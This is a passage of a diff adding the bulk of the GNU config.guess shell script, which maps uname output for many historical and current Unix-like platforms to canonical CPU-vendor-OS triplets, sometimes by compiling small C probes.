UNAME_RELEASE=3 + case "`/bin/arch`" in + sun3) + echo m68k-sun-sunos${UNAME_RELEASE} + ;; + sun4) + echo sparc-sun-sunos${UNAME_RELEASE} + ;; + esac + exit 0 ;; + aushp:SunOS:*:*) + echo sparc-auspex-sunos${UNAME_RELEASE} + exit 0 ;; + # The situation for MiNT is a little confusing. The machine name + # can be virtually everything (everything which is not + # "atarist" or "atariste" at least should have a processor + # > m68000). The system name ranges from "MiNT" over "FreeMiNT" + # to the lowercase version "mint" (or "freemint"). Finally + # the system name "TOS" denotes a system which is actually not + # MiNT. But MiNT is downward compatible to TOS, so this should + # be no problem. + atarist[e]:*MiNT:*:* | atarist[e]:*mint:*:* | atarist[e]:*TOS:*:*) + echo m68k-atari-mint${UNAME_RELEASE} + exit 0 ;; + atari*:*MiNT:*:* | atari*:*mint:*:* | atarist[e]:*TOS:*:*) + echo m68k-atari-mint${UNAME_RELEASE} + exit 0 ;; + *falcon*:*MiNT:*:* | *falcon*:*mint:*:* | *falcon*:*TOS:*:*) + echo m68k-atari-mint${UNAME_RELEASE} + exit 0 ;; + milan*:*MiNT:*:* | milan*:*mint:*:* | *milan*:*TOS:*:*) + echo m68k-milan-mint${UNAME_RELEASE} + exit 0 ;; + hades*:*MiNT:*:* | hades*:*mint:*:* | *hades*:*TOS:*:*) + echo m68k-hades-mint${UNAME_RELEASE} + exit 0 ;; + *:*MiNT:*:* | *:*mint:*:* | *:*TOS:*:*) + echo m68k-unknown-mint${UNAME_RELEASE} + exit 0 ;; + m68k:machten:*:*) + echo m68k-apple-machten${UNAME_RELEASE} + exit 0 ;; + powerpc:machten:*:*) + echo powerpc-apple-machten${UNAME_RELEASE} + exit 0 ;; + RISC*:Mach:*:*) + echo mips-dec-mach_bsd4.3 + exit 0 ;; + RISC*:ULTRIX:*:*) + echo mips-dec-ultrix${UNAME_RELEASE} + exit 0 ;; + VAX*:ULTRIX*:*:*) + echo vax-dec-ultrix${UNAME_RELEASE} + exit 0 ;; + 2020:CLIX:*:* | 2430:CLIX:*:*) + echo clipper-intergraph-clix${UNAME_RELEASE} + exit 0 ;; + mips:*:*:UMIPS | mips:*:*:RISCos) + eval $set_cc_for_build + sed 's/^ //' << EOF >$dummy.c +#ifdef __cplusplus +#include <stdio.h> /* for printf() prototype */ + int main (int argc, char *argv[]) { +#else + int main (argc, argv) int argc; char *argv[]; { +#endif + #if defined (host_mips) && defined (MIPSEB) + #if defined (SYSTYPE_SYSV) + printf ("mips-mips-riscos%ssysv\n", argv[1]); exit (0); + #endif + #if defined (SYSTYPE_SVR4) + printf ("mips-mips-riscos%ssvr4\n", argv[1]); exit (0); + #endif + #if defined (SYSTYPE_BSD43) || defined(SYSTYPE_BSD) + printf ("mips-mips-riscos%sbsd\n", argv[1]); exit (0); + #endif + #endif + exit (-1); + } +EOF + $CC_FOR_BUILD -o $dummy $dummy.c \ + && $dummy `echo "${UNAME_RELEASE}" | sed -n 's/\([0-9]*\).*/\1/p'` \ + && exit 0 + echo mips-mips-riscos${UNAME_RELEASE} + exit 0 ;; + Motorola:PowerMAX_OS:*:*) + echo powerpc-motorola-powermax + exit 0 ;; + Motorola:*:4.3:PL8-*) + echo powerpc-harris-powermax + exit 0 ;; + Night_Hawk:*:*:PowerMAX_OS | Synergy:PowerMAX_OS:*:*) + echo powerpc-harris-powermax + exit 0 ;; + Night_Hawk:Power_UNIX:*:*) + echo powerpc-harris-powerunix + exit 0 ;; + m88k:CX/UX:7*:*) + echo m88k-harris-cxux7 + exit 0 ;; + m88k:*:4*:R4*) + echo m88k-motorola-sysv4 + exit 0 ;; + m88k:*:3*:R3*) + echo m88k-motorola-sysv3 + exit 0 ;; + AViiON:dgux:*:*) + # DG/UX returns AViiON for all architectures + UNAME_PROCESSOR=`/usr/bin/uname -p` + if [ $UNAME_PROCESSOR = mc88100 ] || [ $UNAME_PROCESSOR = mc88110 ] + then + if [ ${TARGET_BINARY_INTERFACE}x = m88kdguxelfx ] || \ + [ ${TARGET_BINARY_INTERFACE}x = x ] + then + echo m88k-dg-dgux${UNAME_RELEASE} + else + echo m88k-dg-dguxbcs${UNAME_RELEASE} + fi + else + echo i586-dg-dgux${UNAME_RELEASE} + fi + exit 0 ;; + M88*:DolphinOS:*:*) # DolphinOS (SVR3) + echo m88k-dolphin-sysv3 + exit 0 ;; + M88*:*:R3*:*) + # Delta 88k system running SVR3 + echo m88k-motorola-sysv3 + exit 0 ;; + XD88*:*:*:*) # Tektronix XD88 system running UTekV (SVR3) + echo m88k-tektronix-sysv3 + exit 0 ;; + Tek43[0-9][0-9]:UTek:*:*) # Tektronix 4300 system running UTek (BSD) + echo m68k-tektronix-bsd + exit 0 ;; + *:IRIX*:*:*) + echo mips-sgi-irix`echo ${UNAME_RELEASE}|sed -e 's/-/_/g'` + exit 0 ;; + ????????:AIX?:[12].1:2) # AIX 2.2.1 or AIX 2.1.1 is RT/PC AIX. + echo romp-ibm-aix # uname -m gives an 8 hex-code CPU id + exit 0 ;; # Note that: echo "'`uname -s`'" gives 'AIX ' + i*86:AIX:*:*) + echo i386-ibm-aix + exit 0 ;; + ia64:AIX:*:*) + if [ -x /usr/bin/oslevel ] ; then + IBM_REV=`/usr/bin/oslevel` + else + IBM_REV=${UNAME_VERSION}.${UNAME_RELEASE} + fi + echo ${UNAME_MACHINE}-ibm-aix${IBM_REV} + exit 0 ;; + *:AIX:2:3) + if grep bos325 /usr/include/stdio.h >/dev/null 2>&1; then + eval $set_cc_for_build + sed 's/^ //' << EOF >$dummy.c + #include <sys/systemcfg.h> + + main() + { + if (!__power_pc()) + exit(1); + puts("powerpc-ibm-aix3.2.5"); + exit(0); + } +EOF + $CC_FOR_BUILD -o $dummy $dummy.c && $dummy && exit 0 + echo rs6000-ibm-aix3.2.5 + elif grep bos324 /usr/include/stdio.h >/dev/null 2>&1; then + echo rs6000-ibm-aix3.2.4 + else + echo rs6000-ibm-aix3.2 + fi + exit 0 ;; + *:AIX:*:[45]) + IBM_CPU_ID=`/usr/sbin/lsdev -C -c processor -S available | sed 1q | awk '{ print $1 }'` + if /usr/sbin/lsattr -El ${IBM_CPU_ID} | grep ' POWER' >/dev/null 2>&1; then + IBM_ARCH=rs6000 + else + IBM_ARCH=powerpc + fi + if [ -x /usr/bin/oslevel ] ; then + IBM_REV=`/usr/bin/oslevel` + else + IBM_REV=${UNAME_VERSION}.${UNAME_RELEASE} + fi + echo ${IBM_ARCH}-ibm-aix${IBM_REV} + exit 0 ;; + *:AIX:*:*) + echo rs6000-ibm-aix + exit 0 ;; + ibmrt:4.4BSD:*|romp-ibm:BSD:*) + echo romp-ibm-bsd4.4 + exit 0 ;; + ibmrt:*BSD:*|romp-ibm:BSD:*) # covers RT/PC BSD and + echo romp-ibm-bsd${UNAME_RELEASE} # 4.3 with uname added to + exit 0 ;; # report: romp-ibm BSD 4.3 + *:BOSX:*:*) + echo rs6000-bull-bosx + exit 0 ;; + DPX/2?00:B.O.S.:*:*) + echo m68k-bull-sysv3 + exit 0 ;; + 9000/[34]??:4.3bsd:1.*:*) + echo m68k-hp-bsd + exit 0 ;; + hp300:4.4BSD:*:* | 9000/[34]??:4.3bsd:2.*:*) + echo m68k-hp-bsd4.4 + exit 0 ;; + 9000/[34678]??:HP-UX:*:*) + HPUX_REV=`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'` + case "${UNAME_MACHINE}" in + 9000/31? ) HP_ARCH=m68000 ;; + 9000/[34]?? ) HP_ARCH=m68k ;; + 9000/[678][0-9][0-9]) + if [ -x /usr/bin/getconf ]; then + sc_cpu_version=`/usr/bin/getconf SC_CPU_VERSION 2>/dev/null` + sc_kernel_bits=`/usr/bin/getconf SC_KERNEL_BITS 2>/dev/null` + case "${sc_cpu_version}" in + 523) HP_ARCH="hppa1.0" ;; # CPU_PA_RISC1_0 + 528) HP_ARCH="hppa1.1" ;; # CPU_PA_RISC1_1 + 532) # CPU_PA_RISC2_0 + case "${sc_kernel_bits}" in + 32) HP_ARCH="hppa2.0n" ;; + 64) HP_ARCH="hppa2.0w" ;; + '') HP_ARCH="hppa2.0" ;; # HP-UX 10.20 + esac ;; + esac + fi + if [ "${HP_ARCH}" = "" ]; then + eval $set_cc_for_build + sed 's/^ //' << EOF >$dummy.c + + #define _HPUX_SOURCE + #include <stdlib.h> + #include <unistd.h> + + int main () + { + #if defined(_SC_KERNEL_BITS) + long bits = sysconf(_SC_KERNEL_BITS); + #endif + long cpu = sysconf (_SC_CPU_VERSION); + + switch (cpu) + { + case CPU_PA_RISC1_0: puts ("hppa1.0"); break; + case CPU_PA_RISC1_1: puts ("hppa1.1"); break; + case CPU_PA_RISC2_0: + #if defined(_SC_KERNEL_BITS) + switch (bits) + { + case 64: puts ("hppa2.0w"); break; + case 32: puts ("hppa2.0n"); break; + default: puts ("hppa2.0"); break; + } break; + #else /* !defined(_SC_KERNEL_BITS) */ + puts ("hppa2.0"); break; + #endif + default: puts ("hppa1.0"); break; + } + exit (0); + } +EOF + (CCOPTS= $CC_FOR_BUILD -o $dummy $dummy.c 2>/dev/null) && HP_ARCH=`$dummy` + test -z "$HP_ARCH" && HP_ARCH=hppa + fi ;; + esac + if [ ${HP_ARCH} = "hppa2.0w" ] + then + # avoid double evaluation of $set_cc_for_build + test -n "$CC_FOR_BUILD" || eval $set_cc_for_build + if echo __LP64__ | (CCOPTS= $CC_FOR_BUILD -E -) | grep __LP64__ >/dev/null + then + HP_ARCH="hppa2.0w" + else + HP_ARCH="hppa64" + fi + fi + echo ${HP_ARCH}-hp-hpux${HPUX_REV} + exit 0 ;; + ia64:HP-UX:*:*) + HPUX_REV=`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'` + echo ia64-hp-hpux${HPUX_REV} + exit 0 ;; + 3050*:HI-UX:*:*) + eval $set_cc_for_build + sed 's/^ //' << EOF >$dummy.c + #include <unistd.h> + int + main () + { + long cpu = sysconf (_SC_CPU_VERSION); + /* The order matters, because CPU_IS_HP_MC68K erroneously returns + true for CPU_PA_RISC1_0. CPU_IS_PA_RISC returns correct + results, however. */ + if (CPU_IS_PA_RISC (cpu)) + { + switch (cpu) + { + case CPU_PA_RISC1_0: puts ("hppa1.0-hitachi-hiuxwe2"); break; + case CPU_PA_RISC1_1: puts ("hppa1.1-hitachi-hiuxwe2"); break; + case CPU_PA_RISC2_0: puts ("hppa2.0-hitachi-hiuxwe2"); break; + default: puts ("hppa-hitachi-hiuxwe2"); break; + } + } + else if (CPU_IS_HP_MC68K (cpu)) + puts ("m68k-hitachi-hiuxwe2"); + else puts ("unknown-hitachi-hiuxwe2"); + exit (0); + } +EOF + $CC_FOR_BUILD -o $dummy $dummy.c && $dummy && exit 0 + echo unknown-hitachi-hiuxwe2 + exit 0 ;; + 9000/7??:4.3bsd:*:* | 9000/8?[79]:4.3bsd:*:* ) + echo hppa1.1-hp-bsd + exit 0 ;; + 9000/8??:4.3bsd:*:*) + echo hppa1.0-hp-bsd + exit 0 ;; + *9??*:MPE/iX:*:* | *3000*:MPE/iX:*:*) + echo hppa1.0-hp-mpeix + exit 0 ;; + hp7??:OSF1:*:* | hp8?[79]:OSF1:*:* ) + echo hppa1.1-hp-osf + exit 0 ;; + hp8??:OSF1:*:*) + echo hppa1.0-hp-osf + exit 0 ;; + i*86:OSF1:*:*) + if [ -x /usr/sbin/sysversion ] ; then + echo ${UNAME_MACHINE}-unknown-osf1mk + else + echo ${UNAME_MACHINE}-unknown-osf1 + fi + exit 0 ;; + parisc*:Lites*:*:*) + echo hppa1.1-hp-lites + exit 0 ;; + C1*:ConvexOS:*:* | convex:ConvexOS:C1*:*) + echo c1-convex-bsd + exit 0 ;; + C2*:ConvexOS:*:* | convex:ConvexOS:C2*:*) + if getsysinfo -f scalar_acc + then echo c32-convex-bsd + else echo c2-convex-bsd + fi + exit 0 ;; + C34*:ConvexOS:*:* | convex:ConvexOS:C34*:*) + echo c34-convex-bsd + exit 0 ;; + C38*:ConvexOS:*:* | convex:ConvexOS:C38*:*) + echo c38-convex-bsd + exit 0 ;; + C4*:ConvexOS:*:* | convex:ConvexOS:C4*:*) + echo c4-convex-bsd + exit 0 ;; + CRAY*Y-MP:*:*:*) + echo ymp-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' + exit 0 ;; + CRAY*[A-Z]90:*:*:*) + echo ${UNAME_MACHINE}-cray-unicos${UNAME_RELEASE} \ + | sed -e 's/CRAY.*\([A-Z]90\)/\1/' \ + -e y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/ \ + -e 's/\.[^.]*$/.X/' + exit 0 ;; + CRAY*TS:*:*:*) + echo t90-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' + exit 0 ;; + CRAY*T3E:*:*:*) + echo alphaev5-cray-unicosmk${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' + exit 0 ;; + CRAY*SV1:*:*:*) + echo sv1-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' + exit 0 ;; + *:UNICOS/mp:*:*) + echo craynv-cray-unicosmp${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' + exit 0 ;; + F30[01]:UNIX_System_V:*:* | F700:UNIX_System_V:*:*) + FUJITSU_PROC=`uname -m | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'` + FUJITSU_SYS=`uname -p | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/\///'` + FUJITSU_REL=`echo ${UNAME_RELEASE} | sed -e 's/ /_/'` + echo "${FUJITSU_PROC}-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}" + exit 0 ;; + 5000:UNIX_System_V:4.*:*) + FUJITSU_SYS=`uname -p | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/\///'` + FUJITSU_REL=`echo ${UNAME_RELEASE} | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/ /_/'` + echo "sparc-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}" + exit 0 ;; + i*86:BSD/386:*:* | i*86:BSD/OS:*:* | *:Ascend\ Embedded/OS:*:*) + echo ${UNAME_MACHINE}-pc-bsdi${UNAME_RELEASE} + exit 0 ;; + sparc*:BSD/OS:*:*) + echo sparc-unknown-bsdi${UNAME_RELEASE} + exit 0 ;; + *:BSD/OS:*:*) + echo ${UNAME_MACHINE}-unknown-bsdi${UNAME_RELEASE} + exit 0 ;; + *:FreeBSD:*:*) + echo ${UNAME_MACHINE}-unknown-freebsd`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'` + exit 0 ;; + i*:CYGWIN*:*) + echo ${UNAME_MACHINE}-pc-cygwin + exit 0 ;; + i*:MINGW*:*) + echo ${UNAME_MACHINE}-pc-mingw32 + exit 0 ;; + i*:PW*:*) + echo ${UNAME_MACHINE}-pc-pw32 + exit 0 ;; + x86:Interix*:[34]*) + echo i586-pc-interix${UNAME_RELEASE}|sed -e 's/\..*//' + exit 0 ;; + [345]86:Windows_95:* | [345]86:Windows_98:* | [345]86:Windows_NT:*) + echo i${UNAME_MACHINE}-pc-mks + exit 0 ;; + i*:Windows_NT*:* | Pentium*:Windows_NT*:*) + # How do we know it's Interix rather than the generic POSIX subsystem? + # It also conflicts with pre-2.0 versions of AT&T UWIN. Should we + # UNAME_MACHINE based on the output of uname instead of i386? + echo i586-pc-interix + exit 0 ;; + i*:UWIN*:*) + echo ${UNAME_MACHINE}-pc-uwin + exit 0 ;; + p*:CYGWIN*:*) + echo powerpcle-unknown-cygwin + exit 0 ;; + prep*:SunOS:5.*:*) + echo powerpcle-unknown-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` + exit 0 ;; + *:GNU:*:*) + # the GNU system + echo `echo ${UNAME_MACHINE}|sed -e 's,[-/].*$,,'`-unknown-gnu`echo ${UNAME_RELEASE}|sed -e 's,/.*$,,'` + exit 0 ;; + *:GNU/*:*:*) + # other systems with GNU libc and userland + echo ${UNAME_MACHINE}-unknown-`echo ${UNAME_SYSTEM} | sed 's,^[^/]*/,,' | tr '[A-Z]' '[a-z]'``echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'`-gnu + exit 0 ;; + i*86:Minix:*:*) + echo ${UNAME_MACHINE}-pc-minix + exit 0 ;; + arm*:Linux:*:*) + echo ${UNAME_MACHINE}-unknown-linux-gnu + exit 0 ;; + cris:Linux:*:*) + echo cris-axis-linux-gnu + exit 0 ;; + ia64:Linux:*:*) + echo ${UNAME_MACHINE}-unknown-linux-gnu + exit 0 ;; + m32r*:Linux:*:*) + echo ${UNAME_MACHINE}-unknown-linux-gnu + exit 0 ;; + m68*:Linux:*:*) + echo ${UNAME_MACHINE}-unknown-linux-gnu + exit 0 ;; + mips:Linux:*:*) + eval $set_cc_for_build + sed 's/^ //' << EOF >$dummy.c + #undef CPU + #undef mips + #undef mipsel + #if defined(__MIPSEL__) || defined(__MIPSEL) || defined(_MIPSEL) || defined(MIPSEL) + CPU=mipsel + #else + #if defined(__MIPSEB__) || defined(__MIPSEB) || defined(_MIPSEB) || defined(MIPSEB) + CPU=mips + #else + CPU= + #endif + #endif +EOF + eval `$CC_FOR_BUILD -E $dummy.c 2>/dev/null | grep ^CPU=` + test x"${CPU}" != x && echo "${CPU}-unknown-linux-gnu" && exit 0 + ;; + mips64:Linux:*:*) + eval $set_cc_for_build + sed 's/^ //' << EOF >$dummy.c + #undef CPU + #undef mips64 + #undef mips64el + #if defined(__MIPSEL__) || defined(__MIPSEL) || defined(_MIPSEL) || defined(MIPSEL) + CPU=mips64el + #else + #if defined(__MIPSEB__) || defined(__MIPSEB) || defined(_MIPSEB) || defined(MIPSEB) + CPU=mips64 + #else + CPU= + #endif + #endif +EOF + eval `$CC_FOR_BUILD -E $dummy.c 2>/dev/null | grep ^CPU=` + test x"${CPU}" != x && echo "${CPU}-unknown-linux-gnu" && exit 0 + ;; + ppc:Linux:*:*) + echo powerpc-unknown-linux-gnu + exit 0 ;; + ppc64:Linux:*:*) + echo powerpc64-unknown-linux-gnu + exit 0 ;; + alpha:Linux:*:*) + case `sed -n '/^cpu model/s/^.*: \(.*\)/\1/p' < /proc/cpuinfo` in + EV5) UNAME_MACHINE=alphaev5 ;; + EV56) UNAME_MACHINE=alphaev56 ;; + PCA56) UNAME_MACHINE=alphapca56 ;; + PCA57) UNAME_MACHINE=alphapca56 ;; + EV6) UNAME_MACHINE=alphaev6 ;; + EV67) UNAME_MACHINE=alphaev67 ;; + EV68*) UNAME_MACHINE=alphaev68 ;; + esac + objdump --private-headers /bin/sh | grep ld.so.1 >/dev/null + if test "$?" = 0 ; then LIBC="libc1" ; else LIBC="" ; fi + echo ${UNAME_MACHINE}-unknown-linux-gnu${LIBC} + exit 0 ;; + parisc:Linux:*:* | hppa:Linux:*:*) + # Look for CPU level + case `grep '^cpu[^a-z]*:' /proc/cpuinfo 2>/dev/null | cut -d' ' -f2` in + PA7*) echo hppa1.1-unknown-linux-gnu ;; + PA8*) echo hppa2.0-unknown-linux-gnu ;; + *) echo hppa-unknown-linux-gnu ;; + esac + exit 0 ;; + parisc64:Linux:*:* | hppa64:Linux:*:*) + echo hppa64-unknown-linux-gnu + exit 0 ;; + s390:Linux:*:* | s390x:Linux:*:*) + echo ${UNAME_MACHINE}-ibm-linux + exit 0 ;; + sh64*:Linux:*:*) + echo ${UNAME_MACHINE}-unknown-linux-gnu + exit 0 ;; + sh*:Linux:*:*) + echo ${UNAME_MACHINE}-unknown-linux-gnu + exit 0 ;; + sparc:Linux:*:* | sparc64:Linux:*:*) + echo ${UNAME_MACHINE}-unknown-linux-gnu + exit 0 ;; + x86_64:Linux:*:*) + echo x86_64-unknown-linux-gnu + exit 0 ;; + i*86:Linux:*:*) + # The BFD linker knows what the default object file format is, so + # first see if it will tell us. cd to the root directory to prevent + # problems with other programs or directories called `ld' in the path. + # Set LC_ALL=C to ensure ld outputs messages in English. + ld_supported_targets=`cd /; LC_ALL=C ld --help 2>&1 \ + | sed -ne '/supported targets:/!d + s/[ ][ ]*/ /g + s/.*supported targets: *// + s/ .*// + p'` + case "$ld_supported_targets" in + elf32-i386) + TENTATIVE="${UNAME_MACHINE}-pc-linux-gnu" + ;; + a.out-i386-linux) + echo "${UNAME_MACHINE}-pc-linux-gnuaout" + exit 0 ;; + coff-i386) + echo "${UNAME_MACHINE}-pc-linux-gnucoff" + exit 0 ;; + "") + # Either a pre-BFD a.out linker (linux-gnuoldld) or + # one that does not give us useful --help. + echo "${UNAME_MACHINE}-pc-linux-gnuoldld" + exit 0 ;; + esac + # Determine whether the default compiler is a.out or elf + eval $set_cc_for_build + sed 's/^ //' << EOF >$dummy.c + #include <features.h> + #ifdef __ELF__ + # ifdef __GLIBC__ + # if __GLIBC__ >= 2 + LIBC=gnu + # else + LIBC=gnulibc1 + # endif + # else + LIBC=gnulibc1 + # endif + #else + #ifdef __INTEL_COMPILER + LIBC=gnu + #else + LIBC=gnuaout + #endif + #endif + #ifdef __dietlibc__ + LIBC=dietlibc + #endif +EOF + eval `$CC_FOR_BUILD -E $dummy.c 2>/dev/null | grep ^LIBC=` + test x"${LIBC}" != x && echo "${UNAME_MACHINE}-pc-linux-${LIBC}" && exit 0 + test x"${TENTATIVE}" != x && echo "${TENTATIVE}" && exit 0 + ;; + i*86:DYNIX/ptx:4*:*) + # ptx 4.0 does uname -s correctly, with DYNIX/ptx in there. + # earlier versions are messed up and put the nodename in both + # sysname and nodename. + echo i386-sequent-sysv4 + exit 0 ;; + i*86:UNIX_SV:4.2MP:2.*) + # Unixware is an offshoot of SVR4, but it has its own version + # number series starting with 2... + # I am not positive that other SVR4 systems won't match this, + # I just have to hope. -- rms. + # Use sysv4.2uw... so that sysv4* matches it. + echo ${UNAME_MACHINE}-pc-sysv4.2uw${UNAME_VERSION} + exit 0 ;; + i*86:OS/2:*:*) + # If we were able to find `uname', then EMX Unix compatibility + # is probably installed. + echo ${UNAME_MACHINE}-pc-os2-emx + exit 0 ;; + i*86:XTS-300:*:STOP) + echo ${UNAME_MACHINE}-unknown-stop + exit 0 ;; + i*86:atheos:*:*) + echo ${UNAME_MACHINE}-unknown-atheos + exit 0 ;; + i*86:syllable:*:*) + echo ${UNAME_MACHINE}-pc-syllable + exit 0 ;; + i*86:LynxOS:2.*:* | i*86:LynxOS:3.[01]*:* | i*86:LynxOS:4.0*:*) + echo i386-unknown-lynxos${UNAME_RELEASE} + exit 0 ;; + i*86:*DOS:*:*) + echo ${UNAME_MACHINE}-pc-msdosdjgpp + exit 0 ;; + i*86:*:4.*:* | i*86:SYSTEM_V:4.*:*) + UNAME_REL=`echo ${UNAME_RELEASE} | sed 's/\/MP$//'` + if grep Novell /usr/include/link.h >/dev/null 2>/dev/null; then + echo ${UNAME_MACHINE}-univel-sysv${UNAME_REL} + else + echo ${UNAME_MACHINE}-pc-sysv${UNAME_REL} + fi + exit 0 ;; + i*86:*:5:[78]*) + case `/bin/uname -X | grep "^Machine"` in + *486*) UNAME_MACHINE=i486 ;; + *Pentium) UNAME_MACHINE=i586 ;; + *Pent*|*Celeron) UNAME_MACHINE=i686 ;; + esac + echo ${UNAME_MACHINE}-unknown-sysv${UNAME_RELEASE}${UNAME_SYSTEM}${UNAME_VERSION} + exit 0 ;; + i*86:*:3.2:*) + if test -f /usr/options/cb.name; then + UNAME_REL=`sed -n 's/.*Version //p' </usr/options/cb.name` + echo ${UNAME_MACHINE}-pc-isc$UNAME_REL + elif /bin/uname -X 2>/dev/null >/dev/null ; then + UNAME_REL=`(/bin/uname -X|grep Release|sed -e 's/.*= //')` + (/bin/uname -X|grep i80486 >/dev/null) && UNAME_MACHINE=i486 + (/bin/uname -X|grep '^Machine.*Pentium' >/dev/null) \ + && UNAME_MACHINE=i586 + (/bin/uname -X|grep '^Machine.*Pent *II' >/dev/null) \ + && UNAME_MACHINE=i686 + (/bin/uname -X|grep '^Machine.*Pentium Pro' >/dev/null) \ + && UNAME_MACHINE=i686 + echo ${UNAME_MACHINE}-pc-sco$UNAME_REL + else + echo ${UNAME_MACHINE}-pc-sysv32 + fi + exit 0 ;; + pc:*:*:*) + # Left here for compatibility: + # uname -m prints for DJGPP always 'pc', but it prints nothing about + # the processor, so we play safe by assuming i386. + echo i386-pc-msdosdjgpp + exit 0 ;; + Intel:Mach:3*:*) + echo i386-pc-mach3 + exit 0 ;; + paragon:*:*:*) + echo i860-intel-osf1 + exit 0 ;; + i860:*:4.*:*) # i860-SVR4 + if grep Stardent /usr/include/sys/uadmin.h >/dev/null 2>&1 ; then + echo i860-stardent-sysv${UNAME_RELEASE} # Stardent Vistra i860-SVR4 + else # Add other i860-SVR4 vendors below as they are discovered. + echo i860-unknown-sysv${UNAME_RELEASE} # Unknown i860-SVR4 + fi + exit 0 ;; + mini*:CTIX:SYS*5:*) + # "miniframe" + echo m68010-convergent-sysv + exit 0 ;; + mc68k:UNIX:SYSTEM5:3.51m) + echo m68k-convergent-sysv + exit 0 ;; + M680?0:D-NIX:5.3:*) + echo m68k-diab-dnix + exit 0 ;; + M68*:*:R3V[5678]*:*) + test -r /sysV68 && echo 'm68k-motorola-sysv' && exit 0 ;; + 3[345]??:*:4.0:3.0 | 3[34]??A:*:4.0:3.0 | 3[34]??,*:*:4.0:3.0 | 3[34]??/*:*:4.0:3.0 | 4400:*:4.0:3.0 | 4850:*:4.0:3.0 | SKA40:*:4.0:3.0 | SDS2:*:4.0:3.0 | SHG2:*:4.0:3.0 | S7501*:*:4.0:3.0) + OS_REL='' + test -r /etc/.relid \ + && OS_REL=.`sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.relid` + /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ + && echo i486-ncr-sysv4.3${OS_REL} && exit 0 + /bin/uname -p 2>/dev/null | /bin/grep entium >/dev/null \ + && echo i586-ncr-sysv4.3${OS_REL} && exit 0 ;; + 3[34]??:*:4.0:* | 3[34]??,*:*:4.0:*) + /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ + && echo i486-ncr-sysv4 && exit 0 ;; + m68*:LynxOS:2.*:* | m68*:LynxOS:3.0*:*) + echo m68k-unknown-lynxos${UNAME_RELEASE} + exit 0 ;; + mc68030:UNIX_System_V:4.*:*) + echo m68k-atari-sysv4 + exit 0 ;; + TSUNAMI:LynxOS:2.*:*) + echo sparc-unknown-lynxos${UNAME_RELEASE} + exit 0 ;; + rs6000:LynxOS:2.*:*) + echo rs6000-unknown-lynxos${UNAME_RELEASE} + exit 0 ;; + PowerPC:LynxOS:2.*:* | PowerPC:LynxOS:3.[01]*:* | PowerPC:LynxOS:4.0*:*) + echo powerpc-unknown-lynxos${UNAME_RELEASE} + exit 0 ;; + SM[BE]S:UNIX_SV:*:*) + echo mips-dde-sysv${UNAME_RELEASE} + exit 0 ;; + RM*:ReliantUNIX-*:*:*) + echo mips-sni-sysv4 + exit 0 ;; + RM*:SINIX-*:*:*) + echo mips-sni-sysv4 + exit 0 ;; + *:SINIX-*:*:*) + if uname -p 2>/dev/null >/dev/null ; then + UNAME_MACHINE=`(uname -p) 2>/dev/null` + echo ${UNAME_MACHINE}-sni-sysv4 + else + echo ns32k-sni-sysv + fi + exit 0 ;; + PENTIUM:*:4.0*:*) # Unisys `ClearPath HMP IX 4000' SVR4/MP effort + # says <Richard.M.Bartel@ccMail.Census.GOV> + echo i586-unisys-sysv4 + exit 0 ;; + *:UNIX_System_V:4*:FTX*) + # From Gerald Hewes <hewes@openmarket.com>. + # How about differentiating between stratus architectures? -djm + echo hppa1.1-stratus-sysv4 + exit 0 ;; + *:*:*:FTX*) + # From seanf@swdc.stratus.com. + echo i860-stratus-sysv4 + exit 0 ;; + *:VOS:*:*) + # From Paul.Green@stratus.com. + echo hppa1.1-stratus-vos + exit 0 ;; + mc68*:A/UX:*:*) + echo m68k-apple-aux${UNAME_RELEASE} + exit 0 ;; + news*:NEWS-OS:6*:*) + echo mips-sony-newsos6 + exit 0 ;; + R[34]000:*System_V*:*:* | R4000:UNIX_SYSV:*:* | R*000:UNIX_SV:*:*) + if [ -d /usr/nec ]; then + echo mips-nec-sysv${UNAME_RELEASE} + else + echo mips-unknown-sysv${UNAME_RELEASE} + fi + exit 0 ;; + BeBox:BeOS:*:*) # BeOS running on hardware made by Be, PPC only. + echo powerpc-be-beos + exit 0 ;; + BeMac:BeOS:*:*) # BeOS running on Mac or Mac clone, PPC only. + echo powerpc-apple-beos + exit 0 ;; + BePC:BeOS:*:*) # BeOS running on Intel PC compatible. + echo i586-pc-beos + exit 0 ;; + SX-4:SUPER-UX:*:*) + echo sx4-nec-superux${UNAME_RELEASE} + exit 0 ;; + SX-5:SUPER-UX:*:*) + echo sx5-nec-superux${UNAME_RELEASE} + exit 0 ;; + SX-6:SUPER-UX:*:*) + echo sx6-nec-superux${UNAME_RELEASE} + exit 0 ;; + Power*:Rhapsody:*:*) + echo powerpc-apple-rhapsody${UNAME_RELEASE} + exit 0 ;; + *:Rhapsody:*:*) + echo ${UNAME_MACHINE}-apple-rhapsody${UNAME_RELEASE} + exit 0 ;; + *:Darwin:*:*) + case `uname -p` in + *86) UNAME_PROCESSOR=i686 ;; + powerpc) UNAME_PROCESSOR=powerpc ;; + esac + echo ${UNAME_PROCESSOR}-apple-darwin${UNAME_RELEASE} + exit 0 ;; + *:procnto*:*:* | *:QNX:[0123456789]*:*) + UNAME_PROCESSOR=`uname -p` + if test "$UNAME_PROCESSOR" = 